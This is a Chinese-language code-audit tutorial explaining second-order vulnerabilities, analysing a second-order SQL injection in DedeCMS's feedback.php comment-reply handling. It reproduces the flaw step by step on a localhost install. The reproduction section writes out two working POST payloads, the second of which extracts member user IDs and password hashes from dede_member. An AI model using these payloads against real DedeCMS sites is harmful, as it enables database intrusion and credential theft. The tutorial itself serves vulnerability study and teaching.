- [1. 二次漏洞审计](#1-二次漏洞审计) - [1.1. dedecms二次注入漏洞分析](#11-dedecms二次注入漏洞分析) - [1.2. 漏洞浮现](#12-漏洞浮现) # 1. 二次漏洞审计 大多数应用只要肯仔细去通读研究全文代码,理解业务逻辑,还是能挖出来部分二次漏洞的。 二次漏洞定义 需要先构造好利用代码写入网站保存,在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞。 ![alt text](img/二次漏洞流程图.drawio.png) 二次漏洞审计技巧 - 通过相关关键字去定位,比如可以根据数据库字段、数据表名等去代码中搜索; - 最好还是把全部代码读一遍; - 业务逻辑越是复杂的地方越容易岀现二次漏洞,我们可以重点关注购物车、订单,另外还有引用数据、文章编辑、草稿等。 - 这些地方是跟数据库交互的; - 跟文件系统交互的是系统配置文件; - 在二次漏洞类型里面,我们可以重点关注SQL注入、XSS。 ## 1.1. dedecms二次注入漏洞分析 ```php //保存评论内容 line 218 if($comtype == 'comments') { $arctitle = addslashes($title); if($msg!='') { $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); "; $rs = $dsql->ExecuteNoneQuery($inquery); if(!$rs) { ShowMsg(' 发表评论错误! ', '-1'); //echo $dsql->GetError(); exit(); } } } ``` 这段代码保存用户评论到数据库,并对评论的标题 $title 的内容进行了 addslashes 操作。再往下看: ```php //引用回复 line 234 elseif ($comtype == 'reply') { $row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'"); $arctitle = $row['arctitle']; $aid =$row['aid']; $msg = $quotemsg.$msg; $msg = HtmlReplace($msg,2); $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')"; file_put_contents("1.txt", $inquery); $dsql->ExecuteNoneQuery($inquery); } ``` 当回复评论的时候,首先根据 $fid 找到需要引用的评论,然后把评论的标题直接赋值给了 $arctitle 变量。而在 $inquery 插入新的评论的时候,直接使用了 $arctitle 变量,没有对其中的特殊字符进行过滤。 加入我们插入评论的 title 是字符串 11' 下图展示了漏洞的原理,单引号被成功注入! ![alt text](img/dedecms原理.drawio.png) ## 1.2. 漏洞浮现 在FireFox中安装HackBar V2: ![alt text](img/image-20251030095952805.png) 登录后台管理页面:http://localhost/dedecms/dede ;在栏目管理中增加一个栏目:例如**顶级栏目**。 ![image-20251030100750730](img/image-20251030100750730.png) 退出登录,回到主页面,注册一个新用户: ![image-20251030100905871](img/image-20251030100905871.png) 用新用户登录,进入会员中心: ![image-20251030103605769](img/image-20251030103605769.png) 在内容中心中发布文章: ![image-20251030103708468](img/image-20251030103708468.png) 发表一篇新文章: ![image-20251030103840478](img/image-20251030103840478.png) 在后续的界面点击查看文章: ![image-20251030103929308](img/image-20251030103929308.png) 注意这篇文章的aid: ![image-20251030104008843](img/image-20251030104008843.png) 在这个页面中通过F12打开Firefox的调试模式: ![image-20251030104359640](img/image-20251030104359640.png) 1. 切换到 HackBar 选单; 2. 输入URL:```http://localhost/dedecms/plus/feedback.php?aid=2``` 注意其中的aid需要和你刚刚的aid一致; 3. 勾选 Post data 4. 写入Post的值,注意:validate的值需要和图片验证码一致;aid需要和前面的aid一致。```action=send&comtype=comments&aid=2&isconfirm=yes&msg=xx&validate=WZAR&title=xx',(char(@`'`)),/* ``` 5. 点击执行。查看数据库中的 dede_feedback 表,刚刚的评论内容:![image-20251030105236198](img/image-20251030105236198.png) 6. 修改post的内容为,同样注意validate的值需要和图片验证码一致:```action=send&comtype=reply&fid=1&isconfirm=yes&validate=ANEP&msg=*/1,2,3,4,5,6,7, (select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23```,点击执行。 ![image-20251030113214493](img/image-20251030113214493.png) 注意:有时需要在**会员中心**的**个人空间**找到你发的贴然后再进行回复。